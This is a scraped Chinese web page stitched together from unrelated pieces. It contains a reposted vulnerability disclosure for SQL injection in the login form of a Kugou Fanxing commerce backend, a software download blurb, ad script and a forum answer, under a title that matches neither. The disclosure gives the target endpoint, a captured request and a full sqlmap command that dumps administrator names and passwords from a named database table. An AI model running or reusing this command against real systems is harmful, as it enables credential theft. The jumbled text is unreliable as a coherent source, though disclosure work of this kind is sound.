酷狗繁星网直播间能拉黑用户吗

来源：蜘蛛抓取(WebSpider) 时间：2016-01-06 16:43 标签： 酷狗繁星下载
分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
过滤不严，登录窗口username字段存在sql注入，时间盲注，可以爆出渠道用户账号密码,cmd5可查.其账号可同时登陆酷狗繁星推广联盟。
详细说明：
//commerce.php/commerceManage/login
登录窗口username字段存在sql注入，
基于时间的盲注
用burp截取http请求报文后保存到postsql.txt导入到sqlmap跑就行了
漏洞证明：
code 区域application/xhtml+xml, */*
Referer: //commerce.php/commerceManage/login
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Content-Length: 28
Pragma: no-cache
username=admin&password=123a
**************************
sqlmap -r /root/Desktop/postsql.txt -p username -D d_kehuduan -T t_channel_admin -C &adminName,password,isActivited,isSuper& --dump
修复方案：
管理员呢？扣工资....haha
版权声明：转载请注明来源 @
厂商回应：
危害等级：中
漏洞Rank：8
确认时间： 10:37
厂商回复：
谢谢提交,我们会尽快修复!
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
登录后才能发表评论，请先当下软件园 / 汇聚当下最新最酷的软件下载站！
热门搜索：
您的位置：
> 酷狗繁星PC端 V1.0.47.89 官方最新版
酷狗繁星PC端 V1.0.47.89 官方最新版 / 酷狗繁星电脑版
网友评分：5分
　　酷狗繁星PC端是一款目前非常流行的在线视频互动平台。酷狗繁星电脑版是由酷狗科技公司为解决互联网用户和数字音乐发展的问题而开发设计的，其界面新颖别致，操作体验极佳，有着数量庞大的用户。内置唱歌、聊天等各种互动交流功能，让大家在紧张的工作之余，轻松的体验自由和快乐！
【功能特点】
　　1、艺人全方位推广
　　繁星不单单为艺人和主播提供推广平台，使其与粉丝互动，具备线上歌友会功能，也会将原创单曲、拍摄MV推荐给艺人，将艺人的单曲、MV在酷狗播放器上进行推荐；
　　2、网站清新而绚丽
　　对比其他秀场直播网站眼花缭乱的视觉效果，繁星网界面简洁明了，丝毫不杂乱，网页色调搭配清新舒服。
　　美女美男主播的横幅、海报使网站不乏绚丽，赠送礼物、飞屏的动态效果华丽动感，直播间自选皮肤充分展示主播的个性。
　　3、强调音乐属性
　　区别现场秀模式，繁星网借助酷狗十年积累的海量互联网音乐用户，与唱片公司和艺人的紧密合作，以及对数字音乐产品的深刻理解，在视频演艺中充分强调音乐属性，例如提供特聘导师的指导，使用精准歌词、伴奏曲库、点歌等强大功能；
　　4、功能强大操作便捷
　　支持数万人同时在线参与互动，堪比小型演唱会；使用酷狗KRC精准歌词、伴奏曲库、点歌技术，把KTV搬到电脑屏幕前；首页高频自动刷新直播间列表，保证直播信息的即时性。
　　功能强大却未影响网站的便捷操作。注册登录方便快捷，主播进行直播操作简易，粉丝与主播之间的互动一触即发。
　　5、多种互动方式
　　繁星主播与粉丝之间可以通过送虚拟礼物、点歌、聊天、购买主播专辑、彩铃等进行互动。据说即将推出主播与粉丝连麦的互动功能，敬请期待。
　　6、详细榜单配特色活动
　　提供合理且细分的排行榜，包括有明星榜、富豪榜、点播榜、人气榜和各个礼物的礼物之星榜，在日期上还分为日榜、周榜和月榜。
　　举办周星榜奖励活动，热闹时段为每周获奖主播派发礼物周星奖、点播周星奖和人气周星奖。 &另外，每逢重要节日均会举办对应活动，例如中秋国庆双节时的&中秋国庆双节礼包免费领，主播互动零距离&。
软件特别说明
现在当下小编在此给你隆重推荐这款微信下载电脑版软件，有了这款软件，即使你没有安卓也照样可以微信，照样可以像微信迷们一样没事就来摇一摇，说不定你的他或者她就在另一头等着你，赶快行动起来吧，让这款微信电脑客户端在你手里摇起来吧，HIGH起来吧！
康福中国是一套全球顶级多视频聊天软件，可同时观看100位聊友的视频、电视会议，采用了最先进的多媒体数字流技术，用户可以与全球网友顺畅的语音、视频聊天或办公，还能跟不同国家拥有摄像头的在线聊友在不同闲聊房间一起聊天。
陌陌是北京陌陌科技有限公司于2011年8月起推出的一款基于地理位置的移动社交产品，是一款在手机上很流行的软件，但是您想要在电脑上玩转陌陌吗？现在，您就有这样的机会了，陌陌电脑版强势出击，虽然不是真正的电脑版，但是也可以在电脑上使用了。
YY随缘多开器是一款免费，无毒无插件，支持密码大小写和特殊符号，支持多开，不掉线 ，批量登录的绿色yy多开器。
Macbo 是一款运行在Mac OS X 上的新浪微博客户端，决对是Mac平台上最好用的新浪微博mac客户端。
其他版本下载
酷狗繁星PC端 V1.0.47.89 官方最新版
酷狗繁星 V2.6.2 安卓版
酷狗繁星 V2.6.2 安卓版
Copyright (C)
.All rights reserved.您的举报已经提交成功，我们将尽快处理，谢谢！
酷狗繁星号可以解除绑定的
大家还关注
(window.slotbydup=window.slotbydup || []).push({
id: '2081942',
container: s,
size: '1000,60',
display: 'inlay-fix'楼主你好：这个我知道(注：要先成为白金VIP才可以隐身的哦)　　1)首先先打开【酷狗繁星】，进去之后点击【头像】。(如下图)　　　　2)然后点击【头像】。(如下图)　　　　3)最后把【隐身】打开就可以了。(如下图)　　
附近的朋友等待您的帮助
包打听移动版

我要回帖

更多关于 酷狗繁星下载 的文章

 

随机推荐